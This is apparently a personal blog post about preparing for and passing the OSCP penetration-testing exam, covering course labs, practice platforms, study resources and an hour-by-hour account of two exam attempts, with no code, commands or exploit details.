HackLab Vulnhix | Hackme 1 |
PWnOS: 2.0 | Escalate_linux 1 |
IMF | Temple of Doom |
VulnOS 2 | Pinkys Palace 1 |
Exam Preparation
In this phase I started preparing for the exam with the material that was provided by Offensive Security, going through all of the learning material, completing all of the available exercises and lab machines.
The PWK course
I enrolled for the course on the 1 of May and the course was set to start on the 7th of June, I purchased three months of lab time and as soon as my access started by going through the videos and the PDF learning material provided with the course, completing and documenting the exercises as I went through the various sections.
Although the course material was really thorough, well explained and easy to comprehend, even in some of the more difficult subjects like buffer overflow, it’s nowhere near enough to prepare you for the exam, in fact, most of your learning required to pass will be through your own research.
The amount of content in the PDF/videos and of exercises is incredibly huge, and as such it took me about one and a half months to finish all of the exercises, after that I started with the labs. I highly recommend documenting all of the exercises as they will grant you an extra 5 points during your certification exam.
The PWK Labs
It took me about five weeks to complete all of the boxes in the labs, and I suggest to try and complete as many as you can, as the more you do the less likely you will be to come across unknown applications or environments during your exam. Make sure you carefully document the steps you performed to compromise each and every one as these could come in handy later on.
With your access time, you get access to the official forum where you can discuss the lab machines with other students, and provide/receive hints. Each machine has its own forum section so this makes it really easy to navigate through it and find what you need.
Some machines will require prior compromise on a different host, so if there’s not clear pathway that’s something you should consider before spending too much time on them. If you are stuck on a box, take a step back and go through your methodology (which you should have by now) and enumeration steps again, there will definitely be something you missed
The Forums
I would like to spend a few words on the forums as these were both my salvation and my damnation. As I went through the lab machines, without realizing, I slowly started relying on the forums more and more, to the point where I would look at hints after 15 minutes from the start of a machine or as soon, and all of this was because I set for myself the goal to complete 2-3 machines a day.
I learned at my own expense that this wasn’t the right approach, as the time required to root a box can’t be calculated and shouldn’t be forced, instead it should come naturally as your skills start to grow. Don’t get me wrong, the forums can be very useful and I don’t completely agree with the “try harder” mentality. I think like often in life, there has to be balance; you don’t want to rely on the forums too much but at the same time you don’t want to keep banging your head against a wall for 5 hours going down a rabbit hole, you’re supposed to learn after all. As a rule of thumb, if after 2 hours you have not made any progress you’re probably going down a rabbit hole and it’s the time to either take a different approach with the box or look at some hints.
Pre-Exam phase
After completing all of the lab machines, I booked my exam for the 23rd of October 2020, which means I had almost two months to prepare for the exam. I didn’t feel quite ready for the exam yet so I decided to spend some more time completing the following Hack The Box machines from the NetSecFocus Trophy Room list:
Linux | Windows |
Lame | Legacy |
Brainfuck | Blue |
Shocker | Devel |
Bashed | Optimum |
Nibbles | Bastard |
Beep | Granny |
Cronos | Arctic |
Nineveh | Grandpa |
Sense | Silo |
Solidstate | Bounty |
Valentine | Secnotes |
Poison | Bastion |
Sunday | Buff |
Tartarsauce | Servmon |
Irked | Jerry |
Active |
I completed most of them with no hints or very little hints, if I was stuck for more than two hours I would refer to either the PDF guide provided in the platform or the Ippsec walkthrough.
Useful Resources & Notes
As I was completing various capture the flag challenges, reading books and doing courses and following online guides and walkthroughs, I kept taking notes whenever I found something interesting that I thought could come in handy later on and I slowly started building a substantial repository of notes. Below are some of the information and links I gathered when researching on some of the most complex parts of my OSCP preparation.
Privilege Escalation
Privilege escalation is a crucial skill to know in order to pass the OSCP certification exam and become a better penetration tester overall. After completing the labs I felt I needed more preparation on this subject, so I used the following resources:
- Windows Privilege Escalation for OSCP & Beyond!
- Linux Privilege Escalation for OSCP & Beyond!
- Basic Linux Privilege Escalation by g0tmi1k
- Sagi Shahar
- Windows Privilege Escalation Fundamentals
- HackTricks – Linux Privilege Escalation
- A guide to Linux Privilege Escalation
- Elevating your Windows Privileges Like a Boss! – Jake Williams
- Windows and Linux Privilege Escalation – OSCP 2020
- Linux Privilege Escalation – Tradecraft Security Weekly #22
- Windows Privilege Escalation Techniques – Tradecraft Security Weekly #22
- Linux Privilege Escalation and Pentesting – Red Team Training – Nezuko Vulnhub Walkthrough
Additionally, I created a Linux and Windows privilege checklist, which should help in finding a suitable path in most machines.
Stack Buffer Overflow
Stack Buffer Overflow can seem overwhelming to some of the students initially approaching OSCP, but once you learn the basic steps involved in the exploitation process and get familiar with them, it will all become very natural.
As much as the PWK course and the labs cover buffer Overflow quite well, I still didn’t feel 100% confident so I decided to do some more practice against software that is known to be affected by BOF vulnerabilities and BOF practice machines:
- Stack Buffer Overflow – Exploiting SLMail 5.5
- Vulnhub – Brainpan 1 Walkthrough
- Stack Buffer Overflow – Vulnserver Guide
- Stack Buffer Overflow – dostackbufferoverflowgood Guide
This article I wrote explains in great detail the steps required in order to perform stack buffer overflow exploitation, from both a theoretical and a practical standpoint. It includes a full example and some reference links to other useful buffer overflow guides.
#1 Exam Attempt
My exam started at 9am Sydney time, the night before I couldn’t get much sleep as I was too anxious and in the morning I didn’t have any breakfast as I wasn’t feeling well. Nonetheless, I was ready to start at 8:45 and I went through the initial setup steps(the proctors are very kind and helpful) which were very seamless, after which the real test started.
I started running some Nmap scans while working on the buffer overflow machine. Unfortunately this took a lot more than expected as I did not check for bad characters properly and therefore missed a few without realizing at first, which cost me more than an hour later on when I had to go through all my steps again to identify where I messed up.
After I was finished with the BOF it was about 11:30am and I was already really stressed out because what I thought was the easier part turned out to be a nightmare because of a mistake I made.
I took a short break, had something to eat and then started again, unfortunately I wasn’t able to complete any other boxes, and despite what people normally say, I ended my exam early at about 11pm as I wasn’t able to make any progress and I didn’t feel like I was going to.
This was both a big disappointment but also an eye-opening revelation, which demonstrated how much I relied on hints and how much I felt lost in a true black box-like environment. I therefore decided to take the weekend off and start practicing again.
Post-exam phase
After failing my first attempt I decided to sign up for other training platforms to keep practicing in order to improve in the areas where I lacked the most, which were enumeration and privilege escalation.
Virtual Hacking Labs
I first signed up for Virtual Hacking Labs. I really liked this platform, the learning material is very thorough but concise, the platform itself is easy to use and there are about 40 machines you can complete, between windows, Linux and one android box. I completed all of the available boxes apart from 2 hard ones, which I decided to leave since there are no hints available and I didn’t want to spend too much time on them. A review for virtual hacking labs is available at this link.
Proving Grounds
I then decided to sign up for Proving Grounds, a platform that was recently released by Offensive Security themselves. This allows you to practice with Windows and Linux boxes and it is great to prepare for OSCP. A full review of this platform is available here.
I completed about 30 of the available boxes and then decided to move on as my exam was in only 4 days and the only boxes left were all hard ones and would have required a lot of research.
TryHackMe Offensive Pentesting Path
During the last 3 days before my exam, in order to get as much practice done as I possibly could, I decided to sign up for TryHackMe’s Offensive Pentesting Path.
TryHackMe is an online platform for learning cyber security and penetration testing through hands-on exercises and labs designed to teach practical skills. I really liked the layout of the platform and the way it functions, there are learning paths available you can enroll for, and the Offensive Pentesting path contains a lot of machines that aim to prepare you for the OSCP certification exam. A review of this learning path is available at this link.
#2 Exam Attempt
The Night Before
Going into my second attempt I felt a lot more confident than the first time, I knew what to expect and I knew it was a marathon rather than a sprint, and as such I should take proper breaks, eat and drink properly etc. My exam started on the 22nd of December 2020 at 8am Sydney time, I had a good night of sleep and once I woke up I took a shower, made myself a smoothie and sat in front of my desk.
8am-9:30am
I started with the buffer overflow box and by 9:30am I was done with it, in the meantime I had been running enumeration scans on the four other hosts using AutoRecon. I then decided to take a little break.
9:45am-11:45am
Once back, within about an hour I had a user shell on one of the medium boxes, and since privilege escalation did not seem straightforward and kept me stuck for almost an hour I moved to the easy box, which I completed in about 45 minutes. I then decided to go for another break since I already had 50 points including the lab report and there was no point in rushing it.
12pm-1:30pm
At about 12pm I resumed my exam, I spent about an hour on the other hard box but unfortunately I couldn’t find an exploitation vector, I also tried a few more privilege escalation techniques on the first medium box with no luck. I then decided to go for lunch as it was about 1:30pm.
2:30pm-5pm
After I was back from lunch, I gave another crack at both the medium boxes but I was stuck in a rabbit hole for more than an hour again. I was very discouraged and I was having a terrible headache so I decided to go for a nap for a couple of hours.
7:00pm-9pm
Back from my nap at about 7:00pm, I felt very refreshed and had another go at escalating privileges on the first medium box, which after some tribulation finally worked, so I had 60 points at 8PM. I then decided to start looking at the hard box, which was easier than I thought as I was able to get a user shell in under 30 minutes, I then spent 30 minutes looking at common privilege escalation vectors but I wasn’t able to find any so at about 9PM I went for dinner, knowing I theoretically had 72.5 points.
10pm-12am
Back from my dinner at about 10PM I spent the next 2 hours trying to get root access on the hard box or get a user shell on the medium box, unfortunately I could not make any more progress, although I didn’t feel completely hopeless. I anyway decided to end my exam at about midnight, as I knew I had enough points to pass and I could not afford to sleep the entire day after.
Exam Report
I was taking notes as the exam went on and I would take screenshots for each command/script I’d run or page I’d visit, which really helped during the reporting phase. I double checked my notes at the end to make sure I had everything I needed, including the user and root flags.
I decided to complete my exam report the same day as the day after I was supposed to prepare for the Christmas party I was hosting on the night of the 24th at my place. After a short break, at around 12:30 I started working on my exam report which took about 2 hours, I then spent another half hour double checking the report, making sure that both the exam and lab reports were in the correct format.
I suggest you read the exam guide at least a couple of times before going into the exam as there a lot of instructions to follow when doing your exam and writing your report.
After less than 48 hours I received the following email stating I had passed the exam. There are no words to express how happy this made me, it was like a Christmas gift from Offsec.
Conclusion
The whole journey although frustrating at times, has been a huge learning experience in terms of both knowledge and mindset which are both required in real life engagements. Receiving a pass at the end and therefore knowing all those sleepless nights were not in vane was extremely rewarding.
Additional Sources & Resources
Below are some additional resources and tools that were extremely useful to me during the OSCP preparation and the exam itself. I suggest you take the time to explore each one as I’m sure they will be incredibly valuable to you.
Useful Tools
- CherryTree
- Tmux
- Vim
- SecLists
- LinPEAS/WinPEAS
- Windows Exploit Suggester – Next Generation (WES-NG)
- Linux Exploit Suggester 2
- PowerShell-Suite
Useful links
- CTF-notes
- Ippsec Rocks
- PayloadAllTheThings
- GTFOBins
- HackTricks
- OSCP Exam Guide
- Exploit DB
- Common Vulnerabilities and Exposures (CVE)